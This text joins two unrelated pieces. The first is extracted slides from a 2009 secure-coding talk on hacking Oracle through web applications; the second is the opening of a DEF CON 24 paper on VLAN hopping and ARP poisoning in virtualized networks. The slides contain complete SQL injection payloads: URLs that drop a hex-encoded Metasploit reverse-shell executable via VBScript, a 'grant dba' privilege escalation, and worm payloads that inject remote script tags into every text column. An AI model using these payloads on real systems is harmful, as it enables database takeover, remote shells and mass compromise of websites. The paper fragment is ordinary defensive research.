SQL Injection does not occur within the attacker’s session
E.g. attacker places an order via a ecommerce application
Admin logs in and approves the order
Non interactive second order SQL Injection
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
65
Admin logs in and approves the order
Admin’s session is vulnerable to SQL Injection
Attacker’s input gets passed to the vulnerable SQL call.
Dan Haagman, InfoSecurity 2009
CREATE OR REPLACE TRIGGER "SYSTEM"."MYTRIGGER" BEFORE INSERT
ON SCOTT.ORDER_TABLE
REFERENCING NEW AS NEWROW
FOR EACH ROW
DECLARE
L NUMBER;
S VARCHAR2(5000);
BEGIN
L:=LENGTH(:NEWROW.V);
Second order SQL Injection
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
66
L:=LENGTH(:NEWROW.V);
IF L > 15 THEN
DBMS_OUTPUT.PUT_LINE('INSERTING INTO MYTABLE_LONG AS
WELL');
S:='INSERT INTO MYTABLE_LONG (V) VALUES (''' ||
:NEWROW.V || ''')';
EXECUTE IMMEDIATE S;
END IF;
END MYTRIGGER;
ALTER TRIGGER "SYSTEM"."MYTRIGGER" ENABLE
Dan Haagman, InfoSecurity 2009
Exploit non Interactive SQL Injections
Concept by Ferruh Mavituna
– Generate a hex representation of the "shell.exe" in the local
system,
– Write a VBScript that can process this hex string and
One Click Ownage
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
67
– Write a VBScript that can process this hex string and
generate a valid binary file,
– Put all this together into one line,
– Carry out the SQL injection with this one line.
– Enjoy the reverse shell ☺
Dan Haagman, InfoSecurity 2009
One Click Ownage: How To
Metasploit’s
msfpayload
shell.exe
1. Shell.exe is generated by Metasploit. The payload executed on target
server starts reverse shell connection to the attacker’s machine.
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
68
shell.exe
Compressed and HEX-
encoded with decryptor
stub attached
payload.vba
2. Shell.exe is compessed and hex-encoded. It is then converted to the
one line (quite long…) of VB code, which being executed on the target
machine re-create and run shell.exe.
Dan Haagman, InfoSecurity 2009
One Click Ownage: How To
Compressed and HEX-
encoded with decryptor
stub attached
payload.vba
http://vulnerable...
Web browser user for
exploitation of SQL injection.
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
69
3. SQL Injection is exploited:
• VB script is deployed on the target server (using xp_cmdshell executed with given
parameters )
• VB script is executed on the target server, so the file shell.exe is recreated
• The file shell.exe is executed so the remote connection to the attacker’s machine
is initiated from the target server. Because of that, it is not detected by firewall.
• Attacker got a remote shell to the target server.
exploitation of SQL injection.
Dan Haagman, InfoSecurity 2009
http://example.com?sqlinjection.aso?id=1;exec master..xp_cmdshell 'echo
d="4D5A900003x0304x03FFFFx02B8x0740x2380x030E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F74206265207
2756E20696E244F53206D6F64652E0D0D0A24x075045x024C010300176FAD27x08E0000F030B0102380010x0310x0350x024062x0360x0370x0440
x0210x0302x0204x0301004x0880x0310x0602x0520x0210x0410x0210x0610x0C70x02ACx7355505830x0550x0310x0702x0E80x02E055505831x051
0x0360x0304x0302x0E40x02E5505832x0510x0370x0302x0306x0E40x02C0332E303300555058210D090209F0B5FC11B9DF8C86A641x021D02x032
6x0226x02EDB7FFDBFF31C0B90020400683100464FF30648920506A406812x02DA2FE4F65151E9x023C90FF253C402916B205DB07x020F40882A4B
E6000700FFFFEE01FCE8560B535556578B6C2418B4538B54057801FFFFFFE5EA8B4A5A2001EBE332498B348B01EE31FFFC31C0AC38E07407C1CFDB
97EDFF0D01C7EBF23B7C241475E12324668B0C4B081CFFDFE2E8B429E8EB02285F5E5D5BC208005E6A305964FB7F7BFB8B198B5B0C021C8B1B04
0853688E4E0EECFFD689C709F3DFBE7C54CAAF9181EC00018A505756539E5E81FFFFFF5D900EB61918E7A41970E9ECF9AA60D909F5ADCBEDFC3B
5753325F33FFFFFFFF32005B8D4B1851FFD789DF89C38D75146A05595153FF348FFF504598948EE273DDB6FDF22B2754FF370D2883500040010C6
FFFFF6D246D68C0A801976802001A0A89E16A10515714206A40B5B6BDFB5E56C1E6060308566A0100C500A8B2E0AE851A18FFD3B81141B62A1F8
3AA0009C23617C974404858400F84CE54B60340615516A0A80C7FD90C14443C30014578697450E2DDBFFC72F63657373669727475616C0F74656
3740FF92FCF1050454C010300176FAD27E000788334FF0F030B0102380002221003EDBAB724F204B1F04060100DF7B369B07501775F9060020583
0D96037103F103D85A9485E84002E02857DC39E786090AC02236FD9FBBBB9602E72646174610C03EC9B9D3D64402E692784104B4188293B2427C
1 click 0wnage SQL server
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
70
0D96037103F103D85A9485E84002E02857DC39E786090AC02236FD9FBBBB9602E72646174610C03EC9B9D3D64402E692784104B4188293B2427C
029x03B82A070012x02FFx0E60BE156040008DBEEBAFFFFF57EB0B908A064688074701DB75078B1E83EEFC11DB72EDB801x31DB75078B1E83EEFC
11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB508B1E83
EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A
022887474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B901x038A07472CE83C0177F7803F0075F28B078A5F
0466C1E80C1C0086C429F880EBE801F0890783C70588D8E2D98DBE0040x028B0709C0743C8B5F048D84300060x0201F35083C708FF962860x0295
8A074708C074DC89F9748F2E55FF962C60x0209C07407890383C304EBE1FF963C60x028BAE3060x028DBE00F0FFFFBB0010x0250546A045357FFD5
8D879F01x0280207F8060287F5505450357FFD558618D4424806A0039C475FA83EC80E938ACFFFFx444470x022870x165070x025E70x026E70x027
E70x028C70x029A70x064B45524E454C3322E444CCx024C6F61644C69627261727941x0247657450726F6341646472657373x025669727475616C5
0726F74656374x025669727475616C416C6C6F63x0566972745616C46726565x034578697450726F63657373xFFx5A":W
CreateObject^("Scripting.FileSystemObject"^).GetSpecialFolder^(2^) ^& "\wr.exe", R^(d^):Function R^(t^):Dim Arr^(^):For i=0 To Len^(t^)-1 Step
2:Redim Preserve Ar^(S^):FB=Mid^(t,i+1,1^):SB=Mid^(t,i+2,1^):HX=FB ^& SB:If FB="x" Then:NB=Mid^(t,i+3,1^):L=H^(SB ^& NB^):For j=0 To L:Redim
Preserve Ar^(S+^(j*2^)+1^):Ar^(S+j^)=0:Ar^(S+j+1^)=0:Next:i=i+1:S=S+L:Else:If Len^(HX^)^>0 Then:Ar^(S^)=H^(HX^):End If:S=S+1:End If:Next:Redim
Preserve Ar^(S-2^):R=Ar:End Function:Function H^(HX^):H=CLng^("&H" ^& HX^):End Function:Sub W^(FN, Buf^):Dim aBuf:Size =
UBound^(Buf^):ReDim aBuf^(Size\2^):For I = 0 To Size - 1 Step 2:aBuf^(I\2^)=ChrW^(Buf^(I+1^)*256+Buf^(I^)^):Next:If I=Size
Then:aBuf^(I\2^)=ChrW^(Buf^(I^)^):End If:aBuf=Join^(aBuf,""^):Set bS=CreateObject^("ADODB.Stream"^):bS.Type=1:bS.Open:With
CreateObject^("ADODB.Stream"^):.Type=2:.Open:.WriteText aBuf:.Position=2:.CopyTo bS:.Close:End With:bS.SaveToFile FN,2:bS.Close:Set
bS=Nothing:End Sub>p.vbs && p.vbs && %TEMP%\wr.exe‘
Dan Haagman, InfoSecurity 2009
http://192.168.2.10/ora1.php
?name=1 and (Select
DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c','echo
d="4D5A900003x0304x03FFFFx02B8x0740x2380x030E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E
6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24x075045x024C0103006716F0D6x08E0000F030B0102380010
x0310x0350x024062x0360x0370x0440x0210x0302x0204x0301x0304x0880x0310x0602x0520x0210x0410x0210x0610x0C70x02A
Cx7355505830x0550x0310x0702x0E80x02E055505831x0510x0360x0304x0302x0E40x02E055505832x0510x0370x0302x0306x0E
40x02C0332E303500555058210D09020993B63B0E5CE0BCADA641x021D02x0326x0226x02C3B7FFDBFF31C0B900204000683010
0464FF30648920506A406812x02DA2FE4F65151E9x023C90FF253C402916B205DB07x020F40882A4BE6000700FFFFEE01FCE8560
…C70588D8E2D98DBE0040x028B0709C0743C8B5F048D84300060x0201F35083C708FF962860x02958A074708C074DC89F95748
F2AE55FF962C60x0209C07407890383C304EBE1FF963C60x028BAE3060x028DBE00F0FFFFBB0010x0250546A045357FFD58D879F
1 click ownage (Oracle with Java IO privs)
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
71
F2AE55FF962C60x0209C07407890383C304EBE1FF963C60x028BAE3060x028DBE00F0FFFFBB0010x0250546A045357FFD58D879F
01x0280207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E938ACFFFFx444470x022870x165070x025E70x
026E70x027E70x028C70x029A70x064B45524E454C33322E444C4Cx024C6F61644C69627261727941x0247657450726F63416464
72657373x025669727475616C50726F74656374x025669727475616C416C6C6F63x025669727475616C46726565x034578697450
726F63657373xFFx5A":W CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) ^%26 "\wr.exe", R(d):Function R(t):Dim
Arr():For i=0 To Len(t)-1 Step 2:Redim Preserve Ar(S):FB=Mid(t,i%2b1,1):SB=Mid(t,i%2b2,1):HX=FB ^%26 SB:If FB="x"
Then:NB=Mid(t,i%2b3,1):L=H(SB ^%26 NB):For j=0 To L:Redim Preserve
Ar(S%2b(j*2)%2b1):Ar(S%2bj)=0:Ar(S%2bj%2b1)=0:Next:i=i%2b1:S=S%2bL:Else:If Len(HX)^>0 Then:Ar(S)=H(HX):End
If:S=S%2b1:End If:Next:Redim Preserve Ar(S-2):R=Ar:End Function:Function H(HX):H=CLng("%26H" ^%26 HX):End Function:Sub
W(FN, Buf):Dim aBuf:Size = UBound(Buf):ReDim aBuf(Size\2):For I = 0 To Size - 1 Step
2:aBuf(I\2)=ChrW(Buf(I%2b1)*256%2bBuf(I)):Next:If I=Size Then:aBuf(I\2)=ChrW(Buf(I)):End If:aBuf=Join(aBuf,""):Set
bS=CreateObject("ADODB.Stream"):bS.Type=1:bS.Open:With CreateObject("ADODB.Stream"):.Type=2:.Open:.WriteText
aBuf:.Position=2:.CopyTo bS:.Close:End With:bS.SaveToFile FN,2:bS.Close:Set bS=Nothing:End
Sub>%25TEMP%25\bsqlbf.vbs%26%26%25TEMP%25\bsqlbf.vbs%26%26%25TEMP%25\wr.exe') FROM DUAL) is not null--
Dan Haagman, InfoSecurity 2009
Not quite the same
Why not
– Can you not grant user java IO privs and then execute the
step described earlier?
– We can, but the privileges will not be available in same
1 click ownage with DBA privileges
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
72
– We can, but the privileges will not be available in same
session. Wont be 1 click then
Dan Haagman, InfoSecurity 2009
What didn’t work:
Can you not pass the OS code directly to
DBMS_SCHEDULER and execute it, simple!?
– DBMS_SCHEDULER’s create program procedure can
1 click ownage with DBA privileges
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
73
– DBMS_SCHEDULER’s create program procedure can
only take upto 1000 chars as argument to
program_action paramater
Dan Haagman, InfoSecurity 2009
What finally worked:
– Create a directory
– Create a procedure to write files on system
– Execute the procedure to write a vb script
1 click ownage with DBA privileges
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
74
– Execute the procedure to write a vb script
– Execute the VB script to create msfpayload’s
executble
– Execute the executable
All in one request? ☺
Dan Haagman, InfoSecurity 2009
http://vuln.com/vulnerable.php?name=1 and (SELECT SYS.KUPP$PROC.CREATE_MASTER_PROCESS('BEGIN EXECUTE IMMEDIATE ''create or
replace procedure pr(p in varchar2,fn in varchar2,l in nvarchar2) is o_f utl_file.file_type; begin
o_f:=utl_file.fopen(p,fn,''''W'''',4000);utl_file.put_line(o_f,l);utl_file.fclose(o_f);end;'';execute immediate ''create or replace directory T as
''''C:\'''''';pr(''T'',''x.vbs'',''d="4D5A900003x0304x03FFFFx02B8x0740x2380x030E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2
063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24x075045x024C01030049783A29x08E0000F030B0102380002x0322
x0710x0310x0840x0210x0302x0204x0301x0304x0850x0302x0275F9x0202x0520x0210x0410x0210x0610x0C40x0284x732E74657874x0360x04
10x0302x0302x0E20x02602E7264617461x0320x0320x0320x0304x0E40x02402E6964617461x0284x0440x0302x0324x0E40x02C0x1031C0B9002
04000683010400064FF30648920506A40680020x025151E91Fx03909090909090909090909090909090FF253C4040009090x08FF254040400090
90x08FFFFFFFFx04FFFFFFFFxFFxA5FCE856x03535556578B6C24188B453C8B54057801EA8B4A188B5A2001EBE332498B348B01EE31FFFC31C0AC
38E07407C1CF0D01C7EBF23B7C241475E18B5A2401EB668B0C4B8B5A1C01EB8B048B01E8EB0231C05F5E5D5BC208005E6A3059648B198B5B0
C8B5B1C8B1B8B5B0853688E4E0EECFFD689C7536854CAAF91FFD681EC0001x025057565389E5E81Fx039001x02B61918E7A41970E9ECF9AA60D
909F5ADCBEDFC3B5753325F3332005B8D4B1851FFD789DF89C38D75146A05595153FF348FFF55045989048EE2F22B2754FF37FF552831C05050
505040504050FF552489C768C0A80253680200115C89E16A105157FF55206A405E56C1E60656C1E608566A00FF550C89C36A00565357FF5518F
1 click ownage with DBA privileges
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
75
505040504050FF552489C768C0A80253680200115C89E16A105157FF55206A405E56C1E60656C1E608566A00FF550C89C36A00565357FF5518F
FD3xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFx092C40x0A7440x023C40x1A4840x02
5840x0A4840x025840x069C004578697450726F63657373x031E035669727475616C50726F74656374x0540x0340x024B45524E454C33322E646
C6CxFFx81":W "C:\wr.exe", R(d):Function R(t):Dim Arr():For i=0 To Len(t)-1 Step 2:Redim Preserve
Ar(S):FB=Mid(t,i%2b1,1):SB=Mid(t,i%2b2,1):HX=FB %26 SB:If FB="x" Then:NB=Mid(t,i%2b3,1):L=H(SB %26 NB):For j=0 To L:Redim Preserve
Ar(S%2b(j*2)%2b1):Ar(S%2bj)=0:Ar(S%2bj%2b1)=0:Next:i=i%2b1:S=S%2bL:Else:If Len(HX)>0 Then:Ar(S)=H(HX):End If:S=S%2b1:End If:Next:Redim
Preserve Ar(S-2):R=Ar:End Function:Function H(HX):H=CLng("%26H" %26 HX):End Function:Sub W(FN, Buf):Dim aBuf:Size = UBound(Buf):ReDim
aBuf(Size\2):For I = 0 To Size - 1 Step 2:aBuf(I\2)=ChrW(Buf(I%2b1)*256%2bBuf(I)):Next:If I=Size Then:aBuf(I\2)=ChrW(Buf(I)):End
If:aBuf=Join(aBuf,""):Set bS=CreateObject("ADODB.Stream"):bS.Type=1:bS.Open:With CreateObject("ADODB.Stream"):.Type=2:.Open:.WriteText
aBuf:.Position=2:.CopyTo bS:.Close:End With:bS.SaveToFile FN,2:bS.Close:Set bS=Nothing:End Sub'');DBMS_SCHEDULER.create_program(''bb'',
''EXECUTABLE'', ''c:\WINDOWS\system32\cmd.exe /c
C:\x.vbs%26%26C:\wr.exe'',0,TRUE);DBMS_SCHEDULER.create_job(''au'',''bb'',enabled=>TRUE);END;') from dual) is not null--
Dan Haagman, InfoSecurity 2009
One click ownage
Demo
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
76
Dan Haagman, InfoSecurity 2009
select
SYS.KUPP$PROC.CREATE_MASTER_PROCESS('b
egin execute immediate ''grant dba to
Executing DDL/DML
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
77
egin execute immediate ''grant dba to
foobar'';end;')from dual;
Dan Haagman, InfoSecurity 2009
Started almost 2 years ago
Changes the web app frontend,
Inject malicious javascript within
iframes of the frontend
SQL Injection Worm
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
78
iframes of the frontend
Distribute browser exploits
Similar worms can be written in
Oracle based on the concepts
shown earlier
Dan Haagman, InfoSecurity 2009
SQL Injection Worm
MS-SQL:
s=290';DECLARE%20@S%20NVARCHAR(4000);=CAST(0x6400650063006C00610072006500200040006D00200076006100720063006800610072002800380
030003000300029003B00730065007400200040006D003D00270027003B00730065006C00650063007400200040006D003D0040006D002B002700750070
0064006100740065005B0027002B0061002E006E0061006D0065002B0027005D007300650074005B0027002B0062002E006E0061006D0065002B0027005
D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C0027002B0062002E006E0061006D00
65002B002700290029002B00270027003C0073006300720069007000740020007300720063003D00220068007400740070003A002F002F0079006C003100
38002E006E00650074002F0030002E006A00730022003E003C002F007300630072006900700074003E00270027003B0027002000660072006F006D002000
640062006F002E007300790073006F0062006A006500630074007300200061002C00640062006F002E0073007900730063006F006C0075006D006E007300
200062002C00640062006F002E007300790073007400790070006500730020006300200077006800650072006500200061002E00690064003D0062002E00
69006400200061006E006400200061002E00780074007900700065003D0027005500270061006E006400200062002E00780074007900700065003D006300
2E0078007400790070006500200061006E006400200063002E006E0061006D0065003D002700760061007200630068006100720027003B00730065007400
200040006D003D005200450056004500520053004500280040006D0029003B00730065007400200040006D003D0073007500620073007400720069006E0
06700280040006D002C0050004100540049004E004400450058002800270025003B00250027002C0040006D0029002C00380030003000300029003B0073
0065007400200040006D003D005200450056004500520053004500280040006D0029003B006500780065006300280040006D0029003B00%20AS%20NVAR
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
79
0065007400200040006D003D005200450056004500520053004500280040006D0029003B006500780065006300280040006D0029003B00%20AS%20NVAR
CHAR(4000));EXEC(@S);--
Oracle:
http://127.0.0.1:81/ora4.php?name=1 and 1=(select ||
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE || PRAGMA
AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' begin execute immediate '''''''' alter session set || current_schema=SCOTT ''''''''; execute
immediate ''''''''commit'''''''';for rec in (select chr(117) || chr(112) || chr(100) || chr(97) || chr(116) || || chr(101) || chr(32) || T.TABLE_NAME || chr(32)
|| chr(115) || chr(101) || chr(116) || chr(32) || C.column_name || chr(61) || C.column_name || || chr(124) || chr(124) || chr(39) || chr(60) || chr(115)
|| chr(99) || chr(114) || chr(105) || chr(112) || chr(116) || chr(32) || chr(115) || chr(114) || chr(99) || || chr(61) || chr(34) || chr(104) || chr(116) ||
chr(116) || chr(112) || chr(58) || chr(47) || chr(47) || chr(119) || chr(119) || chr(119) || chr(46) || chr(110) || || chr(111) || chr(116) || chr(115) ||
chr(111) || chr(115) || chr(101) || chr(99) || chr(117) || chr(114) || chr(101) || chr(46) || chr(99) || chr(111) || || chr(109) || chr(47) || chr(116) ||
chr(101) || chr(115) || chr(116) || chr(46) || chr(106) || chr(115) || chr(34) || chr(62) || chr(60) || chr(47) || chr(115) || || chr(99) || chr(114) ||
chr(105) || chr(112) || chr(116) || chr(62) || chr(39) as foo FROM ALL_TABLES T,ALL_TAB_COLUMNS C WHERE || T.TABLE_NAME = C.TABLE_NAME and
T.TABLESPACE_NAME like chr(85) || chr(83) || chr(69) || chr(82) || chr(83) and C.data_type like || chr(37) || chr(86) || chr(65) || chr(82) || chr(67) ||
chr(72) || chr(65) || chr(82) || chr(37) and c.data_length>200) loop EXECUTE IMMEDIATE || rec.foo;end loop;execute immediate
''''''''commit'''''''';end;'''';END;'';END;--','SYS',0,'1',0) from dual)--
Dan Haagman, InfoSecurity 2009
Is there anything that could have
be done to protect sensitive data
in a database?
How we can make precious data
You’ve been hacked. So what?!
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
80
How we can make precious data
in the database “useless” for
potential attacker or even a
malicious DBA?
Dan Haagman, InfoSecurity 2009
PCI compliance mandates that the card data (PAN)
must be stored encrypted
The distribution of keys used for
encryption/decryption should be regulated.
What happens when an attacker finds a SQL Injection
Compliances and Vulnerabilities
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
81
What happens when an attacker finds a SQL Injection
in such a site?
– Card data is encrypted
– Attacker can’t get keys for decryption
Dan Haagman, InfoSecurity 2009
Hashed credit card numbers
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
82
Dan Haagman, InfoSecurity 2009
No regulation on where encryption occurs
What if encryption occurs in Database:
$query = "INSERT INTO shop_creditcards
(user_id, card_type, card_number, valid_to,
enabled) VALUES
Data vs Query
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
83
enabled) VALUES
($userID, $cardType, (select
rawtohex(utl_raw.cast_to_raw
(dbms_obfuscation_toolkit.DES3Encrypt
(input_string=>$cardNumber,
key_string=>$cardEncryptionKey))) from dual),
$validTo, 1)";
built-in oracle
function
Symmetric key stored in
application server
Dan Haagman, InfoSecurity 2009
Queries can be forensically obtained
– v$sql in Oracle*
• Lists statistics on shared SQL area
• Typically stores last 500 queries
• Sometimes the data from v$SQL gets written to
Queries contain clear text data
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
84
• Sometimes the data from v$SQL gets written to
WRH$_SQLTEXT
– Permanent entry
– Plan cache in MS-SQL
– * Credit goes to Alexander Kornbrust for finding this.
Dan Haagman, InfoSecurity 2009
>Select sql_text from V$SQL
------------------------------------------------------------
INSERT INTO shop_creditcards (user_id,
card_type, card_number, valid_to, enabled)
VALUES ('2', '2', (select
rawtohex(utl_raw.cast_to_raw
V$SQL
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
85
rawtohex(utl_raw.cast_to_raw
(dbms_obfuscation_toolkit.DES3Encrypt
(input_string=>'4918129821080021',
key_string=>'ihPJlkqsJJXIdcM1rjVaHkkI7cd42g
NgzHn8'))) from dual), '01-JAN-2012', '1')
W00t!
Dan Haagman, InfoSecurity 2009
v$sql
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
86
Errr...
Clear text PAN
and private key?
Dan Haagman, InfoSecurity 2009
SELECT st.text, stat.creation_time,
stat.last_execution_time FROM
sys.dm_exec_cached_plans AS plans
OUTER APPLY sys.dm_exec_sql_text(plan_handle)
AS st JOIN sys.dm_exec_query_stats AS stat
Plan Cache in MS-SQL
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
87
AS st JOIN sys.dm_exec_query_stats AS stat
ON stat.plan_handle = plans.plan_handle
WHERE cacheobjtype = 'Compiled Plan'
ORDER BY stat.last_execution_time DESC
Dan Haagman, InfoSecurity 2009
Encryption/Hashing within database
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
88
Dan Haagman, InfoSecurity 2009
Sensitive data in Plan Cache
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
89
Dan Haagman, InfoSecurity 2009
What if the attacker poisons the session data
– Session data now contains malicious javascript
– Javascript logs keystrokes and send it to attacker’s
server
Who needs the encryption keys!!
Poison the session data
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
90
• Who needs the encryption keys!!
– Change the page(via javascript) so that the user’s
get redirected to fake third party payment servers
• Redirect back to original gateways
Dan Haagman, InfoSecurity 2009
Video
Demo
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
91
Video
Dan Haagman, InfoSecurity 2009
References:
Thank You
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
92 | pdf |
VLAN hopping, ARP poisoning and
Man-In-The-Middle Attacks in
Virtualized Environments
Ronny L. Bull⇤, Jeanna N. Matthews†, Kaitlin A. Trumbull‡
⇤†Clarkson University {bullrl, jnm}@clarkson.edu
⇤‡Utica College {rlbull, katrumbu}@utica.edu
Abstract—Cloud service providers offer their customers the
ability to deploy virtual machines in a multi-tenant environment.
These virtual machines are typically connected to the physical
network via a virtualized network configuration. This could be
as simple as a bridged interface to each virtual machine or as
complicated as a virtual switch providing more robust networking
features such as VLANs, QoS, and monitoring. At DEF CON
23, we presented how attacks known to be successful on physical
switches apply to their virtualized counterparts. Here, we present
new results demonstrating successful attacks on more complicated
virtual switch configurations such as VLANs. In particular, we
demonstrate VLAN hopping, ARP poisoning and Man-in-the-
Middle attacks across every major hypervisor platform. We
have added more hypervisor environments and virtual switch
configurations since our last disclosure, and have included results
of attacks originating from the physical network as well as attacks
originating in the virtual network.
Keywords—Virtualization, Networking, Network Security, Cloud
Security, Layer 2 Attacks.
I.
INTRODUCTION
With the growing popularity of Internet-based cloud service
providers, many businesses are turning to these services to host
their mission critical data and applications. Cloud customers
often deploy virtual machines to shared, remote, physical com-
puting resources. Virtual machines running in cloud capacity
are connected to the physical network via a virtualized network
within the host environment. Typically, virtualized hosting
environments will utilize either a bridged network interface
or a virtualized switch such as Open vSwitch[1], [2] for Xen
and KVM based environments, or for VMware vSphere and
Microsoft Hyper-V, the built-in virtual switch options or the
Cisco Nexus 1000V[3] series virtual switch. These virtual
switches are designed to emulate their physical counterparts,
however, the majority of them do not provide any of the Layer
2 protection mechanisms found in modern enterprise grade
hardware switches.
It is important for users of multi-tenant cloud services
to understand how secure their network traffic is from other
users of the same cloud services, especially given that vir-
tual machines from many customers share the same physical
resources. If another tenant can launch a Layer 2 network
attack and capture all the network traffic flowing from and to
their virtual machines, this poses a substantial security risk. By
understanding which virtual switches are vulnerable to which
attacks, users can evaluate the workloads they run in the cloud,
consider additional security mechanisms such as increased
encryption and/or increased monitoring and detection of Layer
2 attacks.
In this paper, we present the results of a systematic study
to evaluate the effects of VLAN hopping and ARP poisoning
attacks across five major hypervisor environments with seven
different virtual network configurations. This can be consid-
ered a continuation of the work we presented at DEF CON
23 evaluating layer 2 network security[4], but this year we
include testing of more sophisticated network configurations
including VLANs and mixed physical/virtual environments.
We begin by providing some basic background information
on the general network configuration options available to
virtualized environments. We then present the details of our
test environment and then give detailed descriptions of the
attack methodology used for each of our VLAN hopping
and ARP poisoning scenarios, discuss the results, and provide
mitigation strategies that could help to prevent the attacks from
being successful. We conclude the paper by discussing related
work and summarizing our results.
II.
BASIC NETWORK CONFIGURATION OPTIONS
There are two types of networking configurations that
are typically used in virtualized environments; bridging and
switching. In this section, we describe both options and discuss
how each one is applied within a virtualized network.
A. Bridging
Bridged mode is the simplest of configurations providing
an interface dedicated to virtual machine use. A bridge con-
nects two or more network segments at Layer 2 in order to
extend a broadcast domain and separate each of the segments
into their own individual collision domains[5]. A forwarding
table[5], [6] is used to list the MAC addresses associated
with devices located on each network segment connected to
the bridge (Figure 1). Requests are forwarded based upon
contents of this table and the destination MAC address located
in the Ethernet frame. A frame is forwarded across the bridge
only if the MAC address in the destination block of the
frame is reachable from a different segment attached to the
bridge. Otherwise, the frame is directed to a destination address
located on the same segment as the transmitting device or
dropped.
R. Bull, J. Matthews, K. Trumbull
DEF CON 24 - (August 2016)
Fig. 1.
A basic bridge using a forwarding table to pass requests between
two network segments.
In virtualized environments, guest machines utilize user-
space virtual network interfaces that simulate a Layer 2 net-
work device in order to connect to a virtual bridge. Typically,
the virtual bridge is configured and bound to a physical
interface on the host machine that is dedicated solely to virtual
machine traffic.
B. Switching
Physical switches have the capability of operating at Layer
2 or higher of the OSI model. Switches can be thought of as
multi-port bridges[5] where each port of the switch is con-
sidered as its own isolated collision domain. Instead of a for-
warding table, switches employ a CAM (content addressable
memory) table[5] . Content addressable memory is specialized
memory hardware located within a switch that allows for the
retention of a dynamic table or buffer that is used to map
MAC addresses of devices to the ports they are connected to
(Figure 2). This allows a switch to intelligently send traffic
directly to any connected device without broadcasting frames
to every port on the switch. The switch reads the frame header
for the destination MAC address of the target device, matches
the address against its CAM table, then forwards the frame to
the correct device.
Fig. 2.
A switch and its CAM table.
Virtual switches emulate their physical counterparts and are
capable of providing features such as VLAN traffic separation,
performance and traffic monitoring, as well as quality of
service (QoS) solutions. Virtual machines are connected to
a virtual switch by the way of virtual network interfaces
(VIF) that are similar to the Layer 2 network devices used
in conjunction with virtual bridges.
III.
TEST ENVIRONMENT
In this section, we provide details about our test environ-
ment which consisted of eight server class systems all located
on a test network isolated from local production networks to
avoid impacting them. Each new 1U SuperMicro server system
consists of a quad core Intel Xeon X3-1240V3 processor
running at 3.4GHz, 32GB of memory, a 500GB Western
Digital Enterprise 7400 RPM SATA hard drive, and four on-
board gigabit Ethernet ports. Having four Ethernet ports on
each system allowed us to dedicate a port to the hypervisor
operating system for management purposes, and also gave us
the flexibility to use the other three ports for different virtual
machine network configurations within each environment. This
especially became useful when conducting the VLAN hopping
experiments which will be discussed in more detail later in the
paper.
Table I provides a list of the hypervisor environments and
operating systems that were installed to the new hardware
along with the virtual switch configuration used within each
system.
TABLE I.
